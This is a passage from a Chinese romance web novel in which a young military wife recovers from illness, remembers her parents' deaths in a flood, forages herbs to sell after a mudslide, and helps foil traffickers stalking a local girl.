他波澜不惊的语气莫名就让觅婉婉原本揪着的心放松下来,她笑道:“你说的对。”
觅婉婉不喜欢在医院呆着,输完液后便回了家。
谢宴清用肉末和碎青菜给觅婉婉熬了粥,一碗热粥下肚,觅婉婉又活了过来。
“谢宴清,你该还有任务吧?我现在已经没事了,一会儿我就大睡一觉,睡醒你就回来啦。”觅婉婉不愿意因为自己影响谢宴清的工作,主动提出让谢宴清回到岗位上去。
她虽然需要谢宴清,可觅婉婉知道,此时那些受灾的村民更需要谢宴清他们。
短短的一天之内,又爆发了三次泥石流伴着山体滑坡,有很多人失踪,还有很多人在等待救援。
谢宴清看了觅婉婉好几眼,终是起身,为觅婉婉点上蜡烛。
“你是不是点得太多了?”几分钟后,觅婉婉看着满屋子的蜡烛,无语道。
谢宴清一脸认真:“不多,我会拿很多蜡烛回来的,你不必担心。”
“好啦,你快去吧。”觅婉婉哭笑不得,心中却涌出丝丝甜蜜。
在医院躺了半天,觅婉婉早就躺累了,等谢宴清走后,她就起身,拿出之前在镇上买的漫画书,津津有味地看起来。
“扣扣扣~”
门外忽然响起敲门声,觅婉婉纳闷,正是乱的时候,怎么会有人找上门?
雨后天寒,觅婉婉披上一件外衣,走到外面开门。
吕花带着两个十二三岁的女孩和五六岁的男孩站在门外,“婉婉,宴清走之前特意让我来陪你,我带着孩子来了。”
没想到谢宴清会做这种事情,觅婉婉吃了一惊,打开门让他们进来,羞恼道:“我哪里就那么娇气了,嫂子你们快进来。”
吕花平时性情木讷,此时见觅婉婉不好意思,难得起了开玩笑的心思,“宴清这孩子,来部队起就独来独往的,从没求过人呢,他第一次求人,我怎么都得把你照顾好。”
“我能照顾好自己的。”觅婉婉红了脸,低声说。
张晓兰和张晓雪两个小姑娘好奇地打量着妈妈和觅婉婉,感觉妈妈见到这个姐姐后,人好似变得鲜活了。
至于张冠丰,五六岁的小男孩,剃着一个板寸头,一双圆眼睛滴溜溜地打量着院子,见跟自己家的院子没什么区别后,很快就失去了兴趣。
一群人进了屋后,吕花不愿坐下,跑去厨房烧水什么的忙活,觅婉婉就招呼三个孩子进房间。
“哇,是漫画书!”张冠丰一见到觅婉婉的漫画书,立马就想跑过去看。
张晓兰和张晓雪两个人眼疾手快,一人抓住张冠丰一条手臂,不让他过去。
觅婉婉笑着对他们说:“我这还有好多呢,你们一起来看呀。”
张晓兰和张晓雪对视了一眼,面露犹豫之色,片刻之火,张晓兰说:“谢谢姐姐,等我一下,我去问过妈妈。”
不管是几岁还是十几岁,漫画书对于他们三姐弟来说,吸引力都是巨大的。可在大人没有点头之前,包括最小的张冠丰在内,没有人来索取觅婉婉的漫画书,吕花将他们几个教的很好。
很快,张晓兰从厨房对来,对着妹妹和弟弟点点头。三个孩子这才来到觅婉婉面前,排成排站好,等着觅婉婉给他们漫画书看。
觅婉婉忍俊不禁,拿出三本漫画书一人分了一本。
拿到漫画书后,三个孩子坐在桌前,看得入迷,觅婉婉也接着看自己手中的漫画书。
吃过晚饭后,吕花拿了草席过来编,三个孩子小心地把漫画书合上,还给觅婉婉,乖乖地去帮妈妈编草席。
“吕婶子,这样太麻烦你们了,要不你们还是回去吧。”觅婉婉有点不好意思,人拖家带口地来陪自己,只是因为自己怕黑,又不是小孩子。
吕花笑笑:“不麻烦,在哪编草席不是编,咱们就当做个伴。而且,我家这几个还看了你的书呢。”她不懂觅婉婉他们看的是漫画书还是什么书,反正只要是看书,在她看来就是好事。
“我愿意天天都过来陪姐姐!”张冠丰立马表忠心。
张晓雪给他吃了一个栗子,“那得婉婉姐姐乐意见你才行。”
觅婉婉:“你们想看什么书,拿去看就是了,看完了还我便行。”
张晓兰郑重道:“谢谢婉婉姐姐,我们一定会好好保护书,不会损坏的。”
张家孩子多,靠着张晓山一个人的工资,过得很是拮据,他们平时没有多余的钱去买书看。
学校还没恢复上课,他们姐弟三个只有几年前的课本可以看,早就烂熟于心了。
到了平时熄灯的点,吕花就带着三个孩子回隔壁去了。
临走之前,看着一屋子的蜡烛,吕花忍不住取笑:“看来你们小夫妻感情真好,每晚都点着蜡烛,你们趣味真独特。”
突然的虎狼之词让觅婉婉脸上爆红,迅速变成红苹果,吕花见状,赶紧带着三个孩子跑了。
什么趣味呀,觅婉婉羞得把头埋在被子里,直觉没脸见人。没想到吕婶子表面看着木讷,熟悉之后是这样热情的人。
不过抬起头,
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觅婉婉看着一屋子的蜡烛,将房间照得亮亮的,觅婉婉又觉得很安心。
有了光,觅婉婉恢复了平常的作息,很快就沉沉地睡了过去。
睡梦中,觅婉婉又看见了那个长发飘飘的女子,这次她没有向山下奔赴,而是蹲在自己面前,用充满慈爱的目光注视着自己。
“婉婉,我要去找你爸爸了,你要记住,也要跟姥姥姥爷他们说,我这些年来,一直过得很幸福。”
女子说完,将小小一只的觅婉婉用尽全力放在一个屋顶上,洪水已经到她的腿肚子上了。
可是屋顶太高了,女子即便拼尽全力也没把小觅婉婉放上去,“婉婉,你踩着妈妈的肩膀,到屋顶上去,乖。”
小觅婉婉听话地踩在她的肩膀上,成功爬上了屋顶。
此时水已经到了长发女子的大腿部位,她恋恋不舍地看着小觅婉婉,眼中含泪,“婉婉,妈妈爱你,这屋顶承受不住两个人的重量,我要去找你爸爸了。”
说完,长发女子朝山下奔跑,小觅婉婉哇哇大哭。
熟睡的觅婉婉眼角流下一滴晶莹的泪珠,梦境很快变化,觅婉婉看见小时候的觅婉婉坐在一个跟自己容貌有三分相似的男人脖子上。
男人总是带着小觅婉婉去看他种的树,“这个桃树经过我的改良,可以结出又大又甜的桃子,婉婉很快就能吃上了。”
仿佛是为了印证他的话,觅婉婉觉得自己口中满是桃香和甜味。
“婉婉看见这些西瓜苗没有,等夏天,它就会结出一个个大西瓜。”
“还有这颗荔枝树,它结出的荔枝果肉晶莹剔透。最重要的是,有了这些果树,住在大山里的人们就有了活下去的资本,再也不会饿死了.....”
觅婉婉睁开眼睛,擦去眼角的泪。她终于想起来了,前世,她的父母也死于一场自然灾害,这也是她一直怕黑的原因。
小觅婉婉在屋顶上坐了一夜才等到救援人员,那个漫长、充满了恐惧的夜在觅婉婉心里生了根,从此她没办法直视黑夜,也忘了父母的样子和与他们有关的过往。
被救回来的觅婉婉跟姥姥姥爷生活在一起,他们一直抱怨爸爸,千娇百宠养大的女儿嫁给他之后,奔波于山野之间,最后还丢掉了一条命。
她不应该忘记妈妈的话,觅婉婉无声地落下泪来,妈妈嫁给爸爸之后,一直过得很好。
觅婉婉起身,将房间里的蜡烛一根一根熄灭。
身处黑暗,觅婉婉心中一片安定。想到什么,觅婉婉拿出藏在墙角的金镯子和金钗放在枕头下。
这是谢宴清结婚时送给她的,正好拿来压惊。
“妈妈,因为我找到了爱的人,所以你让我想起这些来了,对不对?”
觅婉婉抚摸着枕头底下的金子,这般想着,又睡了过去。
凌晨,天微微亮的时候,觅婉婉感觉自己的身体在颠簸。
一开始的时候,觅婉婉以为自己又在做梦,过了一会儿,她反应过来不是梦,睁开眼睛,就看见谢宴清抱着她在路上狂奔。
“谢宴清,你跑什么?”觅婉婉迷茫地看着他,对眼前的景象一无所知。
重点是,谢宴清为什么要抱着自己跑,难道泥石流冲到军区家属大院了?
27. 改变
想到这里,觅婉婉急了,“你快放我下来,家里还有金子呢。”
为了防止觅婉婉乱动,谢宴清将她抱得更牢:“现在不是关注金子的时候,况且现在也没人顾得上金子。”
等觅婉婉下了地,四周一看,家属院不是好好的么。
“噗嗤~”
“谢宴清,你不会是以为我又晕了,要抱我去医院吧?”觅婉婉笑着问他。
谢宴清的眼中全是迷惑,“我看屋里的蜡烛熄灭了,屋子里都是黑的。”
觅婉婉哭笑不得:“那是我熄灭的,我不怕黑了。”
清晨天气仍旧有些微凉,微风吹过,觅婉婉本能地瑟缩了一下,谢宴清一把将她又抱了起来往回走。
觅婉婉羞红了脸,却不想从温暖的怀抱中离开,于是把头埋在谢宴清的胸前。
即便抱着觅婉婉,谢宴清的步伐依旧不减速,很快就回到了家中。
“你们小两口一大早就这么恩爱呀。”吕花正带着两个女儿在院子中的厨房准备早饭,看见他们回来,朝他们打了个招呼。
觅婉婉吓了一跳,立即就要从谢宴清的怀里下来,对方的两只手臂却如铁桶一般紧紧地箍着她,不让她下地。
“吕婶子早。”谢宴清神色淡淡地跟吕花打了个招呼,抱着觅婉婉进了屋,又小心地把她放到床上,“再怎么说,你刚刚病了一回,不要乱动。”
谢宴清的声线冷漠,语气却格外温柔,听得觅婉婉又羞红了脸,“哪有那么娇气。”
她本就容貌绮丽,如今害羞红脸,更加娇怯动人。谢宴清忍不住凑上前,温柔地吻她。
觅婉婉双手紧紧抓住底下的床单,承受着谢宴清给予的吻。
一开始,这个吻是温柔缱眷的,如春日的细雨一般,轻轻地拂过觅婉婉的心尖,心脏感觉到细雨的潮湿,不自觉地颤动。
后来,谢宴清就暴露了掠夺的本性,细雨变成暴雨,热切又急促的吻一个一个落下来,觅婉婉承受不住,眼中渐渐氤氲出水汽,晶莹的泪珠从脸颊的侧边滑过。
“谢宴清,我饿了。”觅婉婉推开他,在谢宴清耳边轻声说。
谢宴清发丝凌乱,眼眸中是不加掩饰的□□,“好,我去给你做饭。”
他走后,觅婉婉拉住被子蒙住自己的脸,明明都是没经验的,谢宴清怎么就那么会。
觅婉婉已经确定自己的心意,自然不会排斥跟谢宴清肌肤相亲,但天光越来越亮,第一次就大白天,她真是受不住。
在家又休息了一天之后,觅婉婉就完全好了,大雨也完全地停了下来。谢宴清依旧忙着抢险救灾的事情,溪城卷烟厂发来同志,老人妇女孩子暂时不参加溪城卷烟厂的重建工作。
等卷烟厂恢复正常后,女工人再行返厂工作,觅婉婉就这么闲下来。
工作可以暂时不做,赚钱不能停,觅婉婉刚刚借款买了人家的房子,自然是要早些还上的。
杨月苓去了广市,最少也得半个月才能回来。这期间觅婉婉打算去军属大院没有发生泥石流的几座山逛逛,看看能不能碰上什么值钱的东西。
刚刚下过雨的山上有些潮湿,好在草木足够茂密,倒也不用担心滑倒的问题。
觅婉婉一边打草一边往深山走去,大自然发怒的时候,死伤不计其数,可它的馈赠也很多,尤其是像这种热带雨林。
她今天的目标是到山上采些合适的草药下去卖,经过这番灾害,此时磨盘镇上的草药必定是紧缺的。
觅婉婉拿药换了钱,也救了人,一举两得。很快,她就看见一大片忍冬藤,藤上仗着细长的黄白色花朵,就是金银花了。
她把藤和花朵全部用镰刀割下来,装了满满一背篓,先下了山。金银花的藤叶和花朵都可以入药,觅婉婉回到家后将花摘下,藤叶剪成合适入药的大小。
留下小部分金银花自己泡茶喝后,觅婉婉将其他的装进背篓,准备去镇上的药馆看看有没有人收。
她骑着自行车还没走出军属大院,就碰见了一脸疲倦的白霜儿。
白霜儿看见觅婉婉背篓中的金银花,眼睛都在放绿光,“婉婉,你这些金银花和藤叶从哪来的?”
觅婉婉并不隐瞒:“我去山上找的,正准备去镇上看看有没有药馆收呢。卷烟厂建起来还需要一段时间,我总不能在家里坐吃山空。”
白霜儿激动道:“你卖给我呀,我在镇上的公社做实习赤脚医生。”
觅婉婉有些意外,白霜儿结婚后就没有再来卷烟厂上班,没想到会去公社做赤脚医生。
“我只是突然想明白了,人生多变,唯有自己的心意不会轻易改变。所以我大着胆子去公社面试赤脚医生,没想到真成了。你的这些我可以收了,五毛钱一斤,你看怎么样?”
“泥石流过后,很多人都发起了高热,我这段时间在各个村子里给人看病,药材紧缺,很多人都只能熬过去。”白霜儿略带沉重地说。
觅婉婉把背篓放下,“霜儿,恭喜你找到自己喜欢做的工作,我想,你以后一定会是个厉害的医生。正好我没门路卖草药呢,以后我去山上采了都卖给你。”
白霜儿小心翼翼地把草药收好,像获得玩具的孩子一样对觅婉婉笑,“谢谢你,婉婉。”
一背篓金银花一共十斤,觅婉婉一下就挣了五块钱,而且这筐金银花说不定能治不少人的病。
天色还早,觅婉婉再次上了山,割了整整一筐的金银花。往回走的时候,觅婉婉碰巧在几颗朽木上发现了木耳,开心极了,把朽木上密密麻麻的木耳全割了。
割木耳的时候,觅婉婉还发现几只野鸡和野兔蹿过去,可惜她没有谢宴清打猎的本事,否则今天收获可就大了。
雨后的山中到处是宝藏,觅婉婉割了木耳之后又采了些新鲜的蘑菇回去,收获满满的一天。
新鲜的木耳有毒不能直接吃,需要先晒干再泡发。觅婉婉把它们都放在簸箕上晒,拿着新鲜的蘑菇去做晚饭。
蘑菇用来炖鸡是最好的,可惜谢宴清之前打的两只野鸡已经吃完了。觅婉婉只好退而求其次,切了一块五花肉,做蘑菇炒五花肉。
好在食材好,刚从山上摘下的蘑菇配什么都很鲜,觅婉婉又打了两个鸡蛋,做了个简单的蘑菇鸡蛋汤
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饭做好,谢宴清恰好也回来了,只是神色看着不是很好。
美食下肚,谢宴清的神色很快就好起来,“最近不太平,你出门的话,小心为上。”
觅婉婉:“怎么了?”
“大灾过后,很多人流离失所,吃不起饭、看不上病的,总有些人会剑走偏锋。”谢宴清没有说具体的事情,只是隐晦提醒。
觅婉婉了然,“我晓得的,你放心,我厉害着呢。看,我今天从山里弄了两大筐金银花,卖了一筐,明天再把另一筐卖了,就能得十块钱。”
“还有那些木耳,等晒干之后用来炒鸡蛋,定好吃。”
她积极向上的情绪感染了谢宴清,谢宴清周身的低气压瞬间消散,“是,你很厉害。”
觅婉婉没适应被谢宴清一本正经地夸奖,不好意思地低下头,“就是我在山上看到野鸡和兔子,想着要是你在的话就好了。”
谢宴清浅浅地笑了一下:“一会儿我去给你把它们打回来。”
“嗯。”觅婉婉垂头扒饭,不敢直视谢宴清的笑容。
谢宴清向来言出必行,吃过晚饭后不久,就上山打来三只野鸡和四只兔子。
他把野鸡和兔子交给觅婉婉之后,又急匆匆地回了部队。
觅婉婉只留下了一只野鸡和一只兔子,其余的两只野鸡和三只兔子,她打算拿去黑市卖了。
第二天一大早,觅婉婉先去了顾家给白霜儿送金银花。白霜儿神情疲惫,精神却极好,看来确实是很喜欢赤脚医生的工作。
这次卖了六块钱,加上昨天的五块,觅婉婉一天就挣了十一块钱,她浑身充满了干劲,准备卖了野鸡和兔子之后再上山淘宝。
觅婉婉来到祝毅家,祝毅看到她手上的野鸡和兔子,二话不说直接收了,拿出五十块钱。
“祝哥,这么多吗?”觅婉婉疑惑地问。
祝毅苦笑了一下:“好几个村子都被泥石流给冲了,现在野菜都金贵,何况是肉呢。”
发生这样的事,必然会影响祝毅的生意,他再想收猪,就变得艰难。
“祝哥有没有想过,自己开个养猪场?”觅婉婉试探地问他。
“自己开?现在不允许啊。”祝毅迷茫地说。
“政策这个东西,是随时变化的。现在虽然不允许,以后说不定就可以了呢。总是大费周章地到处去收猪,不如自己有稳定的猪源。”觅婉婉循循善诱他,“祝哥,我还有事,就先回去了。”
有些事情,只能点到为止,觅婉婉没有在祝家停留太久,背上背篓,骑着车往回走。
路过磨盘镇菜市场的时候,觅婉婉看到一个十几岁的小姑娘正提着篮子在捡别人不要的烂菜叶子,是季萍。
觅婉婉正想跟她打声招呼,不料定睛一看,季萍的身后跟着一个鬼鬼祟祟的男人。
看到那个男人后,觅婉婉收了声,观察起四周来。只见季萍的左后方有根柱子,柱子后面也藏着一个男人,正在盯着季萍看。
而在季萍捡菜叶子的菜市场不远处,一个三十多岁的大婶提着篮子,目标明确地朝季萍走去。
28. 牵挂
“小姑娘,捡菜叶子呢?”提篮子的大婶上前对季萍说道。
季萍抬起头,对上她的目光:“是啊,大婶,你也要吗?”
“我刚捡了一篮子呢,你看,那边的巷子里的菜叶子比这边好。小姑娘,你要不要跟我一起去那边捡啊?”提篮大婶一脸和气地跟季萍商量。
她篮子里的菜叶确实比较新鲜,甚至不像是剩下的,一篮子菜叶没有一片发黄的,季萍心动了。
犹豫了一会儿,季萍摇摇头说:“谢谢大婶,我就在这里捡就好了。”
季萍在这里捡了好几天的剩菜叶子,有些好心的阿姨婶子们会特意给她留剩下的菜,她不想辜负她们。
提篮大婶脸上的笑容僵硬了,季萍已经往前走,继续在地上寻找能吃的叶子。
“小姑娘真可怜,我请你到我家吃顿饭吧。”不过片刻,提篮大婶又重新提起笑容,跟上季萍说道。
季萍抬起头,疑惑地看着眼前的大婶:“您不是也来捡菜叶子吗?为什么还要请我吃饭?”
穷的都来捡菜叶子了,还有多余的粮食请人吃饭?
觅婉婉在不远处听到季萍的反问,忍不住笑了。之前两次见到季萍,她只记得季家两姐弟凄惨,印象却不深。
此刻看到季萍与那个明显不怀好意的大婶你来我往,才觉得这个小姑娘灵动立体起来,有原则、不沾小便宜、性情坚定。
年纪尚幼,虽警惕性不足,但思路不轻易跟着人走。
提篮大婶脸上的笑变得勉强:“咱们都是苦命人,苦命人就该互相帮助嘛。”
“大婶您既然也不宽裕,就不要随便在外面帮助别人的,顾好自己和家人最紧要。”季萍认真对她说。
提篮大婶彻底变了脸色,阴沉沉地看着季萍的背影,咬牙朝后面的鬼祟男人使了个眼色,便往旁边的巷子走去。
觅婉婉心知,这几人诱骗季萍不成,打算来硬的了,不敢松懈,连忙跟上。她一边跟心里一边打鼓,季萍捡完菜叶子,是要去卷烟厂山上的临时基地的。
回去的路上,要经过很多人烟稀少的地方,这就给他们创造了动手的机会,也对季萍和觅婉婉非常不利。
她可不认为自己一个人能对付三个人,觅婉婉脑海中飞速闪过好几个方案,又被灵机一动,走到镇上中心的一个巷子时,觅婉婉立马有了主意。
“林奶奶,我想做件衣服,款式是这样的......”觅婉婉顺手拿过铺子上的纸和笔,飞速地写着。
听见后面有声音,鬼祟男人警惕地回头看了一眼,见只是个年轻的姑娘和头发花白的老人在讨论做衣服的事情,放下心来,继续不远不近地跟着季萍。
林慧见到觅婉婉自是高兴,等她看到觅婉婉在纸上写的内容后,神色立即凝重起来。
在纸上写完之后,觅婉婉来不及跟林奶奶告别,赶紧跟上鬼祟男人。
而林慧在她走后,麻溜地把门一关,立马朝镇上的派出所跑去。
季萍已经走出磨盘镇,继续朝卷烟厂后山的基地走去。篮子上的菜叶不小心掉下来几片,季萍弯下腰去捡,正要起身的时候,猛然看到身后不远处有个男人阴森森地看着自己。
她吓得本能想哆嗦,却用理智强行压制住了本能,装作正常地起身,继续往前走,只是脚有些软,步伐凌乱。
觅婉婉将她的表现收入眼底,知道季萍已经知道有人跟踪她。
望了望四周,临近山脚,没申报人,觅婉婉庆幸季萍沉得住气,不然那三个人一定会在这里直接动手的。
又走了几分钟,经过山下的一片密林的时候,季萍拔腿就跑,飞速冲击林子中,夺命狂奔。
鬼祟男子愣了一下,立马跟着冲进林子里,觅婉婉站在不远处,犹豫了一下,并没有跟进去。
林子中情况不明,她跟进去,救不了人不说,搞不好会把自己也搭进去。
只能等林奶奶搬来救兵了,觅婉婉心想,一个回头,却看见之前磨盘镇上躲在柱子后面的那个男人。
此人中等身材,戴着眼镜一副斯文样,眯眯眼看着觅婉婉的时候却透着危险的目光。
觅婉婉暗叫不好,转身就跑,斯文男人紧随其后。听到身后的脚步声,觅婉婉的心紧紧地揪着,她有预感,自己遇到的这个恐怕是个狠角色。
“谢宴清!”她是往军属大院的方向跑的,远远地,觅婉婉似乎看见谢宴清在往这边走,不管三七二十一,喊了再说。
奔跑的过程中,胸前的银色哨子被甩出来,在阳光下闪着光,觅婉婉果断地拿起哨子,使劲吹起来。
“咻咻咻!”
急促的哨子声响起,远处的身影也飞速靠近,很快觅婉婉就看清了谢宴清的声音,揪成一团的心放下来。
身后的斯文男人看见谢宴清穿着军装,立马紧急刹车,调转方向往回跑,只是他没跑多远,就迎头碰上了几个警察。
谢宴清率先上前,一个扫腿,斯文男人倒在地上,警察立即上前,用手铐把他拷了。
“警察同志,我们卷烟厂的家属季萍往那片林子里跑了,有个坏人在追她来着,你们快去救她。”觅婉婉气喘吁吁地对几个警察说。
带头的警察是林慧的孙女婿,叫冯声,听了觅婉婉的话,对身后的两个警察说:“你们先把他带回去,我去林子里救人。”
说完,立马就往林子里冲。
谢宴清死死地盯着地上的男人,周身散发着冷冽的气息,仿佛在看一个死人,斯文男子被他看得打了个哆嗦。
“谢宴清,我们回去吧。”跑了好一会儿,觅婉婉额头上沁出汗水,她擦了擦汗水,对谢宴清说。
“好。”谢宴清身上的气息瞬间柔和了不少,只是突然紧紧抓着觅婉婉的手,走出很久都不肯放开。
觅婉婉没有挣开他的手,心里甜滋滋的。
“你送我的这个哨子,真好用呀。话说,你的耳朵有这么灵吗?如果我在几十公里外吹哨子,你也能赶过来救我?”回到家,觅婉婉好奇地问谢宴清,盯着他的耳朵看了又看,是不是长了一双顺风耳。
谢宴清忍不住露出笑意:“只是我恰好去寻你,几十公里外自然是听不见的。”
平常冷着脸、不苟言笑的男人突然有了笑意,觅婉婉看了觉得可爱,就逗他:“这么牵挂我啊?”
谢宴清看了她好一会,认真点头:“嗯。”
原本想逗他,反闹了个红脸的觅婉婉落荒而逃,“我留了一只野鸡和兔子,咱们弄来吃了吧。”
昨天还在惋惜不能做小鸡炖蘑菇,谢宴清听了立马给弄了野鸡和兔子过来,觅婉婉悄悄看了一眼正在处理野鸡的谢宴清。
侧脸宛如雕塑一般精致,轮廓分明而柔和,高挺的鼻梁如同山脊般坚毅,轻轻勾勒出英气逼人的线条;下巴线条流畅,带着一种不言而喻的力量与优雅。
他微微侧头,觅婉婉立马挪开视线,不敢再看他,胸中小鹿乱撞。
美色误人,美色误人,觅婉婉在心中默念好几句,才将心神回到兔子身上。<
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p>要说兔子做的最好的地方,非川渝一带莫属,觅婉婉前世就很喜欢吃尖椒兔,因此把兔肉切了丁,准备好豆瓣酱、二荆条辣椒、泡椒、泡姜、仔姜等备用。
热锅起油后,下兔丁什么的炒熟,断生后再加入花椒油等。浓郁的香气在院子里散开,让人食欲大增。
“谢宴清,我去一趟隔壁,送一碗兔肉给吕婶子他们尝一尝。”觅婉婉摘下围裙,端着一个海碗往隔壁走去。
开门的是张晓山,觅婉婉笑着说:“张大哥,之前我生病,麻烦吕婶子带着孩子来陪我,这碗兔肉给你们和孩子尝尝。”
“部队里的事情我插不上手,我家宴清在部队就麻烦您照顾了。”看张晓山的样子像是不想接,觅婉婉又补充了一句。
张晓山明白她的意思,接过兔肉,一股麻辣鲜香的味道冲入鼻子,“大家是战友,又是邻居,说不上什么麻烦不麻烦的,以后有什么事情你们尽管了来找。”
院子里的谢宴清将他们的对话听了个一清二楚,心中微动。
小鸡炖蘑菇的做法简单,吃的主要就是一个鲜字。鸡肉的鲜美和蘑菇的清香相互渗透,蘑菇吸收了鸡肉的鲜美与汤汁的醇厚,变得饱满多汁,一口咬下去,滋味难以言喻。
觅婉婉和谢宴清喝着鸡汤,吃着蘑菇,隔壁张晓山家因为一碗尖椒兔,差点打起来。
“那块兔肉明明是我的,二姐你怎么能这样?!”张冠丰差点哭起来,他总共就分了三块兔肉,吃了两块之后,剩下的最后一块就舍不得吃,谁知道被张晓雪一口给吃了。
张晓山把自己的那块给了张冠丰,“你就那点出息,我的给你吃。”
“爸,我也要!”张晓雪见状,赶忙说。
吕花听了,把自己的兔肉给了张晓雪:“你爸就剩一块了,妈的给你。”
张晓兰无奈地说:“好了,你们两个,我们一人三块,爸妈才吃两块呢。”
张冠丰和张晓雪听了,默默的把兔肉又夹回了爸妈碗里。
吕花从没吃过兔肉,放了一块兔肉进嘴里,兔肉质地细嫩滑爽,入口即化,仿佛舌尖轻轻一压就能感受到其内部的柔嫩与多汁。
“这兔肉真好吃。”吕花是第一次吃兔肉,本还有点犹豫,吃过之后夸赞道。
晚饭后,张晓雪和张冠丰凑在一起嘀嘀咕咕。
“婉婉姐姐送来的兔肉真好吃,二姐,我们明天去问问婉婉姐姐,看她愿不愿意带我们上山,说不定能抓到野兔呢。”张冠丰憧憬地对张晓雪说。
“我觉得也是,抓不到野兔咱们就采点野菜去镇上卖。咱们这最近好像缺粮少菜的,我看镇上有人卖野菜,卖得还很好呢。”张晓雪比张冠丰大四岁,脑子更机灵一些。
张晓兰本想拦着他们,想到刚才妈妈吃到兔肉的表情,就生不成来阻止的心思。
“如果婉婉姐姐愿意带你们去,你们甭管摘了野菜也好,抓到野兔也好,都得给婉婉姐姐一份。”张晓兰要在家里帮吕花编草席,自然不能跟着上山,叮嘱他们道。
“好!”张冠丰一口答应。
“我晓得的,姐。”张晓兰一口答应。
觅婉婉没想到自己送去一碗兔肉,会招来两个小孩,第二天一大早,就看见院子里站了三个小孩。
张晓雪和张冠丰姐弟俩拿了一张草席过来,“婉婉姐,这个草席给你,你带着我们上山吧,我们也想打兔子。”
他们旁边站着的是季白,他手里捧着几个鸟蛋,上面还沾着茅草,怯怯的看着觅婉婉。
29. 最好
春天已经到了尾声,夏日将至,天气一天一天热起来,觅婉婉恰巧需要一张席子。
“我可以带你们上山,但兔子是你们谢叔叔打的,我也不会。不过,我可以教你们怎么套兔子,能不能套到,我就不敢保证了。”觅婉婉笑着对张晓雪姐弟两说。
她前世看求生节目,隐约记得套兔子的方法,倒是可以带着他们套着玩玩。
张冠丰:“婉婉姐姐,你带我们去吧,没有兔子也没关系,我们可以摘野菜。”
六七岁的男孩,正是贪玩的时候,只要能上山玩,能不能抓到兔子不重要。
“是啊,婉婉姐姐,我们会听你话的,爸妈跟姐姐也同意我们跟你去。”张晓兰也乖巧地对觅婉婉保证。
她去的地方不是什么深山老林,白天猛兽也不怎么出没,况且山中寂静,人多热闹,因此觅婉婉没有拒绝他们。
“季白,你这鸟蛋哪来的?”觅婉婉转头问季白。
季白:“我从山上的树上掏来的,我们家什么都没有,只能拿这个来给您,谢谢您救了我姐姐。”
“你好厉害啊,要不你跟我们一起去山上吧,我也想掏鸟蛋。”旁边的张冠丰听了,立马凑上前对季白说。
觅婉婉小心地接过季白的鸟蛋,问他:“你姐姐没事吧?”
季白看了一眼张冠丰,先回答觅婉婉:“多亏婉婉姐姐您报警,那个人贩子才跑了,不然我姐姐就给他们抓去了。”
从季白口中,觅婉婉得知只有那个斯文男人落网了,团伙中的另外一个男人和女人逃走不知所终。
听到人贩子,张家姐弟俩立马起了好奇心,“什么人贩子?”
想到磨盘镇有在逃的人贩子,这些孩子恐怕都不安全,觅婉婉将昨天在磨盘镇上经历的事情跟他们说了。
同时叮嘱他们:“以后如果遇到陌生人让你们跟着走,一定不能跟着走,如果他们用零食或者其他的东西诱惑你们,也千万别跟着走,像季白的姐姐,昨天就做的很好,不为利益所诱惑。”
“否则,可就再也回不了家了。”觅婉婉郑重地说,务必要让这几个孩子提高警惕。
张冠丰平常没什么同性的玩伴,此刻见到大他两岁的季白,稀罕地不行,“你就跟我们一块上山去玩吧,一起摘野菜,顺便跟我们讲讲你姐姐昨天的事情,你姐姐可真聪明,要是我姐姐,肯定就被骗走了。”
张晓雪一听就不干了,作势要打自家的便宜弟弟,“谁就要被骗走了,你才是最容易被骗走的吧。”
张冠丰赶忙绕着院子跑,张晓雪在后面追,季白迷茫地看着觅婉婉。
“你想去的话,可以跟我们一起上山。”觅婉婉对他说,山上有野菜,比季萍去菜市场捡的菜叶子会新鲜些。
“婉婉姐姐,我跟你们去。”季白很快就做出了决定,这段时间以来,都是姐姐在想办法养活他们两个,季白也想尽自己的一份力。
一大三小就这么说定,一起进了山。觅婉婉先是教他们怎么用绳子做圈套,放在草丛中有兔子脚印的地方,等明天就可以看有没有兔子进套。
觅婉婉发现一片蒲公英长得很茂盛,带着三个孩子去摘了一些,“野菜吃之前最好焯一下水,蒲公英也是一样。”
每个人都摘了满满一篮子的蒲公英,其中要数季白最高兴,有了野菜,姐姐就不用去菜市场捡菜叶,也就不会像昨天一样,遇到危险。
摘完蒲公英后,觅婉婉又来到昨天采金银花的地方,告诉他们,“金银花是一种清热解毒的草药,藤叶和花都可以入药,你们也可以摘一些,拿去霜儿姐姐那里卖,她现在是赤脚医生,收草药的。”
听到觅婉婉的话,三个孩子眼睛都是一亮,全都兴致勃勃地去采金银花。
摘完之后,四个人就坐在地上,把金银花的叶子、藤和花朵全都分好。
季白采了最多,估摸着足有五斤,他抱着自己的金银花,突然哇哇大哭:“婉婉姐姐,这些真的能卖钱吗?我能不能带我姐姐过来一起采,我...我们不想饿死。”
张冠丰和张晓雪被他吓了一跳,反应过来之后两个人手忙脚乱地去安慰季白。“肯定能卖钱的,婉婉姐姐说能卖就是能卖。”
“就是,婉婉姐姐可厉害了,你跟着她学怎么摘金银花挣钱,不会饿死的,放心吧。”
“是啊,等我学会抓兔子了,我就给你们送兔子肉吃。”
......
少年人的心思纯澈,姐弟俩一门心思就想安慰季白,让他别哭了,觅婉婉没有出声,安静地看着他们,等季白哭完。
觅婉婉知道,季白太需要一场这样的哭泣了。奶奶和爸爸去世,留下他们姐弟两个,家也被泥石流冲走了,换了心性不坚定的孩子,只怕早就绷不住了。
等季白哭完之后,觅婉婉认真对他说:“你可以带你姐姐过来,但你们千万不要自己来知道吗?山里有蛇,有狼,有很多可怕的动物,你们要跟大人一起来。”
季白听了,用力地点点头。
“白白你想去的时候,就来我家叫我们,我可以让妈妈和姐姐跟我们一起去。”半日的时光,张冠丰已经和季白熟悉起来,搂着他的肩膀说。
“谢谢。”季白眼角还挂着泪珠,笑着朝张冠丰道谢。
下山后,觅婉婉带着三个孩子来找白霜儿卖草药。
“霜儿姐姐。”季白认识白霜儿,一见面就叫人,张冠丰和张晓雪也跟着他叫了一声。
白霜儿吃了一惊,对觅婉婉笑说:“你这还收了这么多的小弟。”
笑罢,拿出秤来打秤,给他们结钱。
算出来的结果是觅婉婉得了七块钱,季白得了两块五,张冠丰和张晓雪拿了三块二。
季白拿着两块五,差点又哭了出来。
“快拿着钱回家找你姐姐去吧,别让她担心。”觅婉婉蹲下身对季白说。
“嗯!”季白紧紧地抓着钱,往卷烟厂的方向跑去。
张晓雪和张冠丰第一次挣到钱,高高兴兴、蹦蹦跳跳地跟着觅婉婉回了家属院。
吕花见到他们拿回来的钱,吓了一跳,问明白怎么回事之前,简直不知道怎么谢觅婉婉才好。
